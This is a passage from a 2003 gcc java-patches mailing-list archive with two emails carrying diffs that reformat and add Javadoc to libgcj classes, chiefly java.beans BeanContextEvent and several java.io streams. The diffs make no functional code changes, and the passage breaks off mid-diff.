Yes Yes Diff + java.io.LineNumberReader Yes Yes Diff java.io.ObjectInputStream Yes Yes Diff - java.io.ObjectInputValidation Yes Yes Diff - java.io.ObjectOutput Yes Yes Diff - java.io.ObjectStreamField Yes Yes Diff - java.io.OutputStreamWriter Yes Yes No - java.io.PipedInputStream Yes Yes Diff - java.io.PipedReader Yes Yes Diff - java.io.PrintStream Yes Yes No - java.io.PrintWriter Yes Yes Diff - java.io.PushbackReader Yes Yes Diff - java.io.RandomAccessFile Yes Yes No - java.io.Reader Yes Yes Diff - java.io.SerializablePermission Yes Yes Diff - java.io.StringReader Yes Yes Diff + java.io.ObjectOutputStream Yes Yes Diff + java.io.OutputStreamWriter Yes Yes Diff + java.io.PrintStream Yes Yes Diff + java.io.RandomAccessFile Yes Yes Diff java.io.VMObjectStreamClass Yes VM-specific   - java.io.Writer Yes Yes Diff java.lang.Character Yes Yes Diff java.lang.Class Yes VM-specific   java.lang.ClassLoader Yes Yes Diff @@ -113,16 +81,16 @@ java.lang.reflect.Modifier Yes Yes Diff java.lang.reflect.Proxy Yes Yes Diff java.net.DatagramSocket Yes Yes Diff - java.net.InetAddress Yes Yes No - java.net.JarURLConnection Yes Yes No + java.net.InetAddress Yes Yes Diff + java.net.JarURLConnection Yes Yes Diff java.net.MimeTypeMapper No Yes No - java.net.PlainDatagramSocketImpl Yes Yes No - java.net.PlainSocketImpl Yes Yes No + java.net.PlainDatagramSocketImpl Yes Yes Diff + java.net.PlainSocketImpl Yes Yes Diff java.net.SocketInputStream No Yes No java.net.SocketOutputStream No Yes No java.net.URI Yes Yes Diff java.net.URL Yes Yes Diff - java.net.URLConnection Yes Yes No + java.net.URLConnection Yes Yes Diff java.nio.ByteBuffer Yes Yes Diff java.nio.CharBuffer Yes Yes Diff java.nio.DoubleBuffer Yes Yes Diff @@ -131,6 +99,9 @@ java.nio.LongBuffer Yes Yes Diff java.nio.MappedByteBuffer Yes Yes Diff java.nio.ShortBuffer Yes Yes Diff + java.rmi.activation.ActivationInstantiator Yes Yes Diff + java.rmi.activation.Activator Yes Yes Diff + java.rmi.registry.RegistryHandler Yes Yes Diff java.security.AlgorithmParameterGenerator Yes Yes Diff java.security.AlgorithmParameters Yes Yes Diff java.security.Identity Yes Yes Diff @@ -149,10 +120,13 @@ java.security.spec.PSSParameterSpec No Yes No java.security.spec.RSAMultiPrimePrivateCrtKeySpec No Yes No java.security.spec.RSAOtherPrimeInfo No Yes No + java.text.AttributedCharacterIterator Yes Yes Diff java.text.CollationElementIterator Yes Yes No java.text.CollationKey Yes Yes No java.text.Collator Yes Yes Diff + java.text.MessageFormat Yes Yes Diff java.text.RuleBasedCollator Yes Yes No + java.util.PropertyPermission Yes Yes Diff java.util.ResourceBundle Yes Yes Diff java.util.logging.ConsoleHandler No Yes No java.util.logging.ErrorManager No Yes No From java-patches-return-6571-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 24 08:29:32 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 5492 invoked by alias); 24 Mar 2003 08:29:31 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 5426 invoked from network); 24 Mar 2003 08:29:27 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.20) by sources.redhat.com with SMTP; 24 Mar 2003 08:29:27 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-73-132.ewetel.net [80.228.73.132]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h2O8TP8G014954 for ; Mon, 24 Mar 2003 09:29:25 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18xNJE-00006g-01 for ; Mon, 24 Mar 2003 09:27:56 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: Patch: java.beans.beancontext.BeanContextEvent Date: Mon, 24 Mar 2003 09:23:51 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_XCsf+kq6h0UmIG1" Message-Id: <200303240923.51609.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_XCsf+kq6h0UmIG1 Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached patch to trunk to reformat the source of this=20 class. No code changes. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+fsCXWSOgCCdjSDsRAthvAKCD9jg6D8ilfQK5rGtnGDnJWgd1/gCfViEJ R4oSL5OczKuD095OAEwR+0s=3D =3Dt+9D =2D----END PGP SIGNATURE----- --Boundary-00=_XCsf+kq6h0UmIG1 Content-Type: text/x-diff; charset="iso-8859-15"; name="beans.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="beans.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1803 diff -u -r1.1803 ChangeLog --- ChangeLog 24 Mar 2003 00:50:17 -0000 1.1803 +++ ChangeLog 24 Mar 2003 08:19:20 -0000 @@ -1,3 +1,8 @@ +2003-03-24 Michael Koch + + * java/beans/beancontext/BeanContextEvent.java: + Reformated. + 2003-03-23 Eric Blake * java/lang/natStringBuffer.cc (regionMatches): New function. Index: java/beans/beancontext/BeanContextEvent.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/beans/beancontext/BeanContextEvent.java,v retrieving revision 1.3 diff -u -r1.3 BeanContextEvent.java --- java/beans/beancontext/BeanContextEvent.java 17 Mar 2003 15:21:45 -0000 1.3 +++ java/beans/beancontext/BeanContextEvent.java 24 Mar 2003 08:19:20 -0000 @@ -44,60 +44,67 @@ * Generic superclass for events fired by BeanContexts. * * @author John Keiser - * @since JDK1.2 + * @since 1.2 */ public abstract class BeanContextEvent extends EventObject { - /** - * The BeanContext that most recently passed this - * event on. - */ - protected BeanContext propagatedFrom; - - /** - * Create a new event, from the specified BeanContext. - * propagatedFrom will be initialized to - * null. - * - * @param source the source of the event. - */ - protected BeanContextEvent(BeanContext source) { - super(source); - } - - /** - * Get the BeanContext that originated this event. - * @return the originator of this event. - */ - public BeanContext getBeanContext() { - return (BeanContext)getSource(); - } - - /** - * Get the most recent propagator of this event. - * If this value is null, you have received the event - * straight from the source. - * - * @return the most recent propagator of this event. - */ - public BeanContext getPropagatedFrom() { - return propagatedFrom; - } - - /** - * Tell whether this event has been propagated. - * @return true iff getPropagatedFrom() != null. - */ - public boolean isPropagated() { - return propagatedFrom != null; - } - - /** - * Set the most recent propagator of this event. - * @param propagator the most recent propagator of this event. - */ - public void setPropagatedFrom(BeanContext propagator) { - propagatedFrom = propagator; - } + private static final long serialVersionUID = 7267998073569045052L; + + /** + * The BeanContext that most recently passed this + * event on. + */ + protected BeanContext propagatedFrom; + + /** + * Create a new event, from the specified BeanContext. + * propagatedFrom will be initialized to + * null. + * + * @param source the source of the event. + */ + protected BeanContextEvent(BeanContext source) + { + super(source); + } + + /** + * Get the BeanContext that originated this event. + * @return the originator of this event. + */ + public BeanContext getBeanContext() + { + return (BeanContext)getSource(); + } + + /** + * Get the most recent propagator of this event. + * If this value is null, you have received the event + * straight from the source. + * + * @return the most recent propagator of this event. + */ + public BeanContext getPropagatedFrom() + { + return propagatedFrom; + } + + /** + * Tell whether this event has been propagated. + * @return true iff getPropagatedFrom() != null. + */ + public boolean isPropagated() + { + return propagatedFrom != null; + } + + /** + * Set the most recent propagator of this event. + * @param propagator the most recent propagator of this event. + */ + public void setPropagatedFrom(BeanContext propagator) + { + propagatedFrom = propagator; + } } --Boundary-00=_XCsf+kq6h0UmIG1-- From java-patches-return-6572-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 24 08:29:32 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 5502 invoked by alias); 24 Mar 2003 08:29:32 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 5494 invoked from network); 24 Mar 2003 08:29:31 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.16) by sources.redhat.com with SMTP; 24 Mar 2003 08:29:31 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-73-132.ewetel.net [80.228.73.132]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h2O8TPjL022450 for ; Mon, 24 Mar 2003 09:29:25 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18xNJE-00006g-02 for ; Mon, 24 Mar 2003 09:27:56 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: Patch: java.io - more merges with classpath Date: Mon, 24 Mar 2003 09:25:30 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_6Dsf+cwKpD2WAam" Message-Id: <200303240925.31017.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_6Dsf+cwKpD2WAam Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached patch to trunk to merge more with classpath. This mainly merges documentation and reformats code. No functional=20 code changes. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD4DBQE+fsD6WSOgCCdjSDsRAkDgAJ9lMYUK55wsR8Xw1m+9lq234St2swCYiFP6 86jAMq656nKAFiFTOm2JGg=3D=3D =3DOU5A =2D----END PGP SIGNATURE----- --Boundary-00=_6Dsf+cwKpD2WAam Content-Type: text/x-diff; charset="iso-8859-15"; name="io.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="io.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1803 diff -u -r1.1803 ChangeLog --- ChangeLog 24 Mar 2003 00:50:17 -0000 1.1803 +++ ChangeLog 24 Mar 2003 08:19:59 -0000 @@ -1,3 +1,26 @@ +2003-03-24 Michael Koch + + * java/io/DataInputStream.java + (): Wrapped documentation line. + (): Fixed @return tag. + * java/io/DataOutputStream.java + (written): Moved to top of class. + (all methods): Merged documentation from classpath. + * java/io/File.java: + Merged copyright year with classpath. + * java/io/FileInputStream.java + (all methods): Merged documentation from classpath. + * java/io/LineNumberReader.java + (getLineNumber): Fixed @return tag. + * java/io/ObjectInputStream.java. + Reformatted. + * java/io/ObjectOutputStream.java: + Reformatted, fixed some @see tags. + * java/io/OutputStreamWriter.java: + Deleted empty line. + * java/io/Writer.java: + Reformatted. + 2003-03-23 Eric Blake * java/lang/natStringBuffer.cc (regionMatches): New function. Index: java/io/DataInputStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/DataInputStream.java,v retrieving revision 1.14 diff -u -r1.14 DataInputStream.java --- java/io/DataInputStream.java 18 Mar 2003 07:50:19 -0000 1.14 +++ java/io/DataInputStream.java 24 Mar 2003 08:19:59 -0000 @@ -596,7 +596,8 @@ * character encoding, then they would be converted to a Java * char like so: *

          - * (char)(((byte1 & 0x0F) << 12) | ((byte2 & 0x3F) << 6) | (byte3 & 0x3F)) + * (char)(((byte1 & 0x0F) << 12) | ((byte2 & 0x3F) << 6) | + * (byte3 & 0x3F)) *

          * Note that all characters are encoded in the method that requires * the fewest number of bytes with the exception of the character @@ -608,7 +609,7 @@ * This method can read data that was written by an object implementing the * writeUTF() method in DataOutput * - * @returns The String read + * @return The String read * * @exception EOFException If end of file is reached before reading * the String Index: java/io/DataOutputStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/DataOutputStream.java,v retrieving revision 1.6 diff -u -r1.6 DataOutputStream.java --- java/io/DataOutputStream.java 23 Mar 2003 19:11:19 -0000 1.6 +++ java/io/DataOutputStream.java 24 Mar 2003 08:19:59 -0000 @@ -38,40 +38,90 @@ package java.io; -/** - * @author Tom Tromey - * @date September 24, 1998 - */ - /* Written using "Java Class Libraries", 2nd edition, ISBN 0-201-31002-3 * "The Java Language Specification", ISBN 0-201-63451-1 * Status: Complete to version 1.1. */ +/** + * This class provides a mechanism for writing primitive Java datatypes + * to an OutputStream in a portable way. Data written to + * a stream using this class can be read back in using the + * DataInputStream class on any platform. + * + * @see DataInputStream + * + * @author Aaron M. Renn + * @author Tom Tromey + */ public class DataOutputStream extends FilterOutputStream implements DataOutput { + /** + * This is the total number of bytes that have been written to the + * stream by this object instance. + */ + protected int written; + + /** + * This method initializes an instance of DataOutputStream to + * write its data to the specified underlying OutputStream + * + * @param out The subordinate OutputStream to which this + * object will write + */ public DataOutputStream (OutputStream out) { super (out); written = 0; } + /** + * This method flushes any unwritten bytes to the underlying stream. + * + * @exception IOException If an error occurs. + */ public void flush () throws IOException { out.flush(); } + /** + * This method returns the total number of bytes that have been written to + * the underlying output stream so far. This is the value of the + * written instance variable + * + * @return The number of bytes written to the stream. + */ public final int size () { return written; } + /** + * This method writes the specified byte (passed as an int) + * to the underlying output stream. + * + * @param b The byte to write, passed as an int. + * + * @exception IOException If an error occurs. + */ public synchronized void write (int b) throws IOException { out.write(b); ++written; } + /** + * This method writes len bytes from the specified byte array + * buf starting at position offset into the + * buffer to the underlying output stream. + * + * @param buf The byte array to write from. + * @param offset The index into the byte array to start writing from. + * @param len The number of bytes to write. + * + * @exception IOException If an error occurs. + */ public synchronized void write (byte[] b, int off, int len) throws IOException, NullPointerException, IndexOutOfBoundsException { @@ -79,28 +129,72 @@ written += len; } + /** + * This method writes a Java boolean to the underlying output + * stream. For a value of true, 1 is written to the stream. + * For a value of false, 0 is written. + * + * @param b The boolean value to write to the stream + * + * @exception IOException If an error occurs + */ public final void writeBoolean (boolean v) throws IOException { write (v ? 1 : 0); } + /** + * This method writes a Java byte value to the underlying + * output stream. + * + * @param b The byte to write to the stream, passed as + * the low eight bits of an int. + * + * @exception IOException If an error occurs + */ public final void writeByte (int v) throws IOException { write (v & 0xff); } + /** + * This method writes a Java short to the stream, high byte + * first. This method requires two bytes to encode the value. + * + * @param s The short value to write to the stream, + * passed as an int. + * + * @exception IOException If an error occurs + */ public final void writeShort (int v) throws IOException { write ((byte) (0xff & (v >> 8))); write ((byte) (0xff & v)); } + /** + * This method writes a single char value to the stream, + * high byte first. + * + * @param c The char value to write, + * passed as an int. + * + * @exception IOException If an error occurs + */ public final void writeChar (int v) throws IOException { write ((byte) (0xff & (v >> 8))); write ((byte) (0xff & v)); } + /** + * This method writes a Java int to the stream, high bytes + * first. This method requires four bytes to encode the value. + * + * @param i The int value to write to the stream. + * + * @exception IOException If an error occurs + */ public final void writeInt (int v) throws IOException { write ((byte) (0xff & (v >> 24))); @@ -109,6 +203,14 @@ write ((byte) (0xff & v)); } + /** + * This method writes a Java long to the stream, high bytes + * first. This method requires eight bytes to encode the value. + * + * @param l The long value to write to the stream. + * + * @exception IOException If an error occurs + */ public final void writeLong (long v) throws IOException { write ((byte) (0xff & (v >> 56))); @@ -121,16 +223,55 @@ write ((byte) (0xff & v)); } + /** + * This method writes a Java float value to the stream. This + * value is written by first calling the method + * Float.floatToIntBits + * to retrieve an int representing the floating point number, + * then writing this int value to the stream exactly the same + * as the writeInt() method does. + * + * @param f The floating point number to write to the stream. + * + * @exception IOException If an error occurs + * + * @see writeInt + */ public final void writeFloat (float v) throws IOException { writeInt (Float.floatToIntBits(v)); } + /** + * This method writes a Java double value to the stream. This + * value is written by first calling the method + * Double.doubleToLongBits + * to retrieve an long representing the floating point number, + * then writing this long value to the stream exactly the same + * as the writeLong() method does. + * + * @param d The double precision floating point number to write to + * the stream. + * + * @exception IOException If an error occurs + * + * @see writeLong + */ public final void writeDouble (double v) throws IOException { writeLong (Double.doubleToLongBits(v)); } + /** + * This method writes all the bytes in a String out to the + * stream. One byte is written for each character in the + * String. + * The high eight bits of each character are discarded. + * + * @param s The String to write to the stream + * + * @exception IOException If an error occurs + */ public final void writeBytes (String s) throws IOException { int len = s.length(); @@ -138,6 +279,15 @@ writeByte (s.charAt(i)); } + /** + * This method writes all the characters in a String to the + * stream. There will be two bytes for each character value. The high + * byte of the character will be written first. + * + * @param s The String to write to the stream. + * + * @exception IOException If an error occurs + */ public final void writeChars (String s) throws IOException { int len = s.length(); @@ -145,6 +295,33 @@ writeChar (s.charAt(i)); } + /** + * This method writes a Java String to the stream in a modified + * UTF-8 format. First, two bytes are written to the stream indicating the + * number of bytes to follow. Note that this is the number of bytes in the + * encoded String not the String length. Next + * come the encoded characters. Each character in the String + * is encoded as either one, two or three bytes. For characters in the + * range of \u0001 to <\u007F>, one byte is used. The character + * value goes into bits 0-7 and bit eight is 0. For characters in the range + * of \u0080 to \u007FF, two bytes are used. Bits + * 6-10 of the character value are encoded bits 0-4 of the first byte, with + * the high bytes having a value of "110". Bits 0-5 of the character value + * are stored in bits 0-5 of the second byte, with the high bits set to + * "10". This type of encoding is also done for the null character + * \u0000. This eliminates any C style NUL character values + * in the output. All remaining characters are stored as three bytes. + * Bits 12-15 of the character value are stored in bits 0-3 of the first + * byte. The high bits of the first bytes are set to "1110". Bits 6-11 + * of the character value are stored in bits 0-5 of the second byte. The + * high bits of the second byte are set to "10". And bits 0-5 of the + * character value are stored in bits 0-5 of byte three, with the high bits + * of that byte set to "10". + * + * @param s The String to write to the output in UTF format + * + * @exception IOException If an error occurs + */ public final void writeUTF (String s) throws IOException { int len = s.length(); @@ -188,6 +365,5 @@ } } - // Number of bytes written so far. - protected int written; -} +} // class DataOutputStream + Index: java/io/File.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/File.java,v retrieving revision 1.27 diff -u -r1.27 File.java --- java/io/File.java 20 Mar 2003 07:47:01 -0000 1.27 +++ java/io/File.java 24 Mar 2003 08:19:59 -0000 @@ -1,5 +1,5 @@ /* File.java -- Class representing a file on disk - Copyright (C) 1998, 1999, 2000, 2001, 2003 Free Software Foundation, Inc. + Copyright (C) 1998, 1999, 2001, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. Index: java/io/FileInputStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/FileInputStream.java,v retrieving revision 1.12 diff -u -r1.12 FileInputStream.java --- java/io/FileInputStream.java 23 Mar 2003 19:11:19 -0000 1.12 +++ java/io/FileInputStream.java 24 Mar 2003 08:19:59 -0000 @@ -3,6 +3,11 @@ This file is part of GNU Classpath. +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + GNU Classpath is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU @@ -36,23 +41,43 @@ import java.nio.channels.FileChannel; import gnu.java.nio.FileChannelImpl; -/** - * @author Warren Levy - * @date October 28, 1998. - */ /* Written using "Java Class Libraries", 2nd edition, ISBN 0-201-31002-3 * "The Java Language Specification", ISBN 0-201-63451-1 * plus online API docs for JDK 1.2 beta from http://www.javasoft.com. * Status: Believed complete and correct. */ +/** + * This class is a stream that reads its bytes from a file. + * + * @author Aaron M. Renn + * @author Warren Levy + * @date October 28, 1998. + */ public class FileInputStream extends InputStream { - /* Contains the file descriptor for referencing the actual file. */ + /** + * This is the native file handle for the file this stream is reading from + */ private FileDescriptor fd; - private FileChannel ch; + private FileChannel ch; /* cached associated file-channel */ + /** + * This method initializes a FileInputStream to read from the + * specified named file. A security check is first made to determine + * whether or not access to this file is allowed. This is done by + * calling the checkRead() method of the + * SecurityManager + * (if one exists) with the name of this file. An exception is thrown + * if reading is not allowed. If the file does not exist, an exception + * is also thrown. + * + * @param name The name of the file this stream should read from + * + * @exception SecurityException If read access to the file is not allowed + * @exception FileNotFoundException If the file does not exist. + */ public FileInputStream(String name) throws FileNotFoundException { SecurityManager s = System.getSecurityManager(); @@ -61,24 +86,83 @@ fd = new FileDescriptor(name, FileDescriptor.READ); } + /** + * This method initializes a FileInputStream to read from the + * specified File object. A security check is first + * made to determine + * whether or not access to this file is allowed. This is done by + * calling the checkRead() method of the + * SecurityManager + * (if one exists) with the name of this file. An exception is thrown + * if reading is not allowed. If the file does not exist, an exception + * is also thrown. + * + * @param file The File object this stream should read from + * + * @exception SecurityException If read access to the file is not allowed + * @exception FileNotFoundException If the file does not exist. + */ public FileInputStream(File file) throws FileNotFoundException { this(file.getPath()); } + /** + * This method initializes a FileInputStream to read from the + * specified FileDescriptor object. A security + * check is first made to + * determine whether or not access to this file is allowed. This is done by + * calling the checkRead() method of the + * SecurityManager + * (if one exists) with the specified FileDescriptor + * An exception is + * thrown if reading is not allowed. + * + * @param fd The FileDescriptor object this stream + * should read from + * + * @exception SecurityException If read access to the file is not allowed + */ public FileInputStream(FileDescriptor fdObj) { SecurityManager s = System.getSecurityManager(); if (s != null) s.checkRead(fdObj); + fd = fdObj; } + /** + * This method returns the number of bytes that can be read from this + * stream before a read can block. A return of 0 indicates that blocking + * might (or might not) occur on the very next read attempt. + *

          + * This method returns the number of unread bytes remaining in the file if + * the descriptor being read from is an actual file. If this method is + * reading from a ''special'' file such a the standard input, this method + * will return the appropriate value for the stream being read. + *

          + * Be aware that reads on plain files that do not reside locally might + * possibly block even if this method says they should not. For example, + * a remote server might crash, preventing an NFS mounted file from being + * read. + * + * @return The number of bytes that can be read before blocking could occur + * + * @exception IOException If an error occurs + */ public int available() throws IOException { return fd.available(); } + /** + * This method closes the stream. Any futher attempts to read from the + * stream will likely generate an IOException since the underlying file + * will be closed. + * + * @exception IOException If an error occurs. + */ public void close() throws IOException { if (fd.valid()) @@ -91,6 +175,15 @@ // mentioned in the JCL. } + /** + * This method returns a FileDescriptor object representing the + * underlying native file handle of the file this stream is reading + * from + * + * @return A FileDescriptor for this stream + * + * @exception IOException If an error occurs + */ public final FileDescriptor getFD() throws IOException { if (!fd.valid()) @@ -98,16 +191,63 @@ return fd; } + /** + * This method reads an unsigned byte from the input stream and returns it + * as an int in the range of 0-255. This method also will return -1 if + * the end of the stream has been reached. + *

          + * This method will block until the byte can be read. + * + * @return The byte read or -1 if end of stream + * + * @exception IOException If an error occurs + */ public int read() throws IOException { return fd.read(); } + /** + * This method reads bytes from a stream and stores them into a caller + * supplied buffer. This method attempts to completely fill the buffer, + * but can return before doing so. The actual number of bytes read is + * returned as an int. A -1 is returned to indicate the end of the stream. + *

          + * This method will block until some data can be read. + *

          + * This method operates by calling an overloaded read method like so: + * read(buf, 0, buf.length) + * + * @param buf The buffer into which the bytes read will be stored. + * + * @return The number of bytes read or -1 if end of stream. + * + * @exception IOException If an error occurs. + */ public int read(byte[] b) throws IOException { return fd.read(b, 0, b.length); } + /** + * This method read bytes from a stream and stores them into a caller + * supplied buffer. It starts storing the data at index + * offset into + * the buffer and attempts to read len bytes. This method can + * return before reading the number of bytes requested. The actual number + * of bytes read is returned as an int. A -1 is returned to indicate the + * end of the stream. + *

          + * This method will block until some data can be read. + * + * @param buf The array into which the bytes read should be stored + * @param offset The offset into the array to start storing bytes + * @param len The requested number of bytes to read + * + * @return The actual number of bytes read, or -1 if end of stream. + * + * @exception IOException If an error occurs. + */ public int read(byte[] b, int off, int len) throws IOException { if (off < 0 || len < 0 || off + len > b.length) @@ -116,6 +256,17 @@ return fd.read(b, off, len); } + /** + * This method skips the specified number of bytes in the stream. It + * returns the actual number of bytes skipped, which may be less than the + * requested amount. + *

          + * @param numBytes The requested number of bytes to skip + * + * @return The actual number of bytes skipped. + * + * @exception IOException If an error occurs + */ public long skip(long n) throws IOException { long startPos = fd.getFilePointer(); @@ -123,6 +274,12 @@ return endPos - startPos; } + /** + * This method creates a java.nio.channels.FileChannel. + * Nio does not allow one to create a file channel directly. + * A file channel must be created by first creating an instance of + * Input/Output/RandomAccessFile and invoking the getChannel() method on it. + */ public FileChannel getChannel () { synchronized (this) @@ -133,4 +290,6 @@ return ch; } } -} + +} // class FileInputStream + Index: java/io/LineNumberReader.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/LineNumberReader.java,v retrieving revision 1.6 diff -u -r1.6 LineNumberReader.java --- java/io/LineNumberReader.java 21 Mar 2003 08:48:27 -0000 1.6 +++ java/io/LineNumberReader.java 24 Mar 2003 08:19:59 -0000 @@ -100,7 +100,7 @@ /** * This method returns the current line number * - * @returns The current line number + * @return The current line number */ public int getLineNumber() { Index: java/io/ObjectInputStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/ObjectInputStream.java,v retrieving revision 1.16 diff -u -r1.16 ObjectInputStream.java --- java/io/ObjectInputStream.java 14 Mar 2003 11:54:38 -0000 1.16 +++ java/io/ObjectInputStream.java 24 Mar 2003 08:20:01 -0000 @@ -57,19 +57,19 @@ implements ObjectInput, ObjectStreamConstants { /** - Creates a new ObjectInputStream that will do all of - its reading from in. This method also checks - the stream by reading the header information (stream magic number - and stream version). - - @exception IOException Reading stream header from underlying - stream cannot be completed. - - @exception StreamCorruptedException An invalid stream magic - number or stream version was read from the stream. - - @see readStreamHeader () - */ + * Creates a new ObjectInputStream that will do all of + * its reading from in. This method also checks + * the stream by reading the header information (stream magic number + * and stream version). + * + * @exception IOException Reading stream header from underlying + * stream cannot be completed. + * + * @exception StreamCorruptedException An invalid stream magic + * number or stream version was read from the stream. + * + * @see #readStreamHeader() + */ public ObjectInputStream (InputStream in) throws IOException, StreamCorruptedException { @@ -104,20 +104,20 @@ /** - Returns the next deserialized object read from the underlying stream. - - This method can be overriden by a class by implementing - private void readObject (ObjectInputStream). - - If an exception is thrown from this method, the stream is left in - an undefined state. - - @exception ClassNotFoundException The class that an object being - read in belongs to cannot be found. - - @exception IOException Exception from underlying - InputStream. - */ + * Returns the next deserialized object read from the underlying stream. + * + * This method can be overriden by a class by implementing + * private void readObject (ObjectInputStream). + * + * If an exception is thrown from this method, the stream is left in + * an undefined state. + * + * @exception ClassNotFoundException The class that an object being + * read in belongs to cannot be found. + * + * @exception IOException Exception from underlying + * InputStream. + */ public final Object readObject () throws ClassNotFoundException, IOException { if (this.useSubclassMethod) @@ -452,24 +452,24 @@ } /** - Reads the current objects non-transient, non-static fields from - the current class from the underlying output stream. - - This method is intended to be called from within a object's - private void readObject (ObjectInputStream) - method. - - @exception ClassNotFoundException The class that an object being - read in belongs to cannot be found. - - @exception NotActiveException This method was called from a - context other than from the current object's and current class's - private void readObject (ObjectInputStream) - method. - - @exception IOException Exception from underlying - OutputStream. - */ + * Reads the current objects non-transient, non-static fields from + * the current class from the underlying output stream. + * + * This method is intended to be called from within a object's + * private void readObject (ObjectInputStream) + * method. + * + * @exception ClassNotFoundException The class that an object being + * read in belongs to cannot be found. + * + * @exception NotActiveException This method was called from a + * context other than from the current object's and current class's + * private void readObject (ObjectInputStream) + * method. + * + * @exception IOException Exception from underlying + * OutputStream. + */ public void defaultReadObject () throws ClassNotFoundException, IOException, NotActiveException { @@ -488,23 +488,23 @@ /** - Registers a ObjectInputValidation to be carried out - on the object graph currently being deserialized before it is - returned to the original caller of readObject (). - The order of validation for multiple - ObjectInputValidations can be controled using - priority. Validators with higher priorities are - called first. - - @see java.io.ObjectInputValidation - - @exception InvalidObjectException validator is - null - - @exception NotActiveException an attempt was made to add a - validator outside of the readObject method of the - object currently being deserialized - */ + * Registers a ObjectInputValidation to be carried out + * on the object graph currently being deserialized before it is + * returned to the original caller of readObject (). + * The order of validation for multiple + * ObjectInputValidations can be controled using + * priority. Validators with higher priorities are + * called first. + * + * @see java.io.ObjectInputValidation + * + * @exception InvalidObjectException validator is + * null + * + * @exception NotActiveException an attempt was made to add a + * validator outside of the readObject method of the + * object currently being deserialized + */ public void registerValidation (ObjectInputValidation validator, int priority) throws InvalidObjectException, NotActiveException @@ -521,21 +521,21 @@ /** - Called when a class is being deserialized. This is a hook to - allow subclasses to read in information written by the - annotateClass (Class) method of an - ObjectOutputStream. - - This implementation looks up the active call stack for a - ClassLoader; if a ClassLoader is found, - it is used to load the class associated with osc, - otherwise, the default system ClassLoader is used. - - @exception IOException Exception from underlying - OutputStream. - - @see java.io.ObjectOutputStream#annotateClass (java.lang.Class) - */ + * Called when a class is being deserialized. This is a hook to + * allow subclasses to read in information written by the + * annotateClass (Class) method of an + * ObjectOutputStream. + * + * This implementation looks up the active call stack for a + * ClassLoader; if a ClassLoader is found, + * it is used to load the class associated with osc, + * otherwise, the default system ClassLoader is used. + * + * @exception IOException Exception from underlying + * OutputStream. + * + * @see java.io.ObjectOutputStream#annotateClass (java.lang.Class) + */ protected Class resolveClass (ObjectStreamClass osc) throws ClassNotFoundException, IOException { @@ -555,18 +555,18 @@ } /** - Allows subclasses to resolve objects that are read from the - stream with other objects to be returned in their place. This - method is called the first time each object is encountered. - - This method must be enabled before it will be called in the - serialization process. - - @exception IOException Exception from underlying - OutputStream. - - @see enableResolveObject (boolean) - */ + * Allows subclasses to resolve objects that are read from the + * stream with other objects to be returned in their place. This + * method is called the first time each object is encountered. + * + * This method must be enabled before it will be called in the + * serialization process. + * + * @exception IOException Exception from underlying + * OutputStream. + * + * @see #enableResolveObject(boolean) + */ protected Object resolveObject (Object obj) throws IOException { return obj; @@ 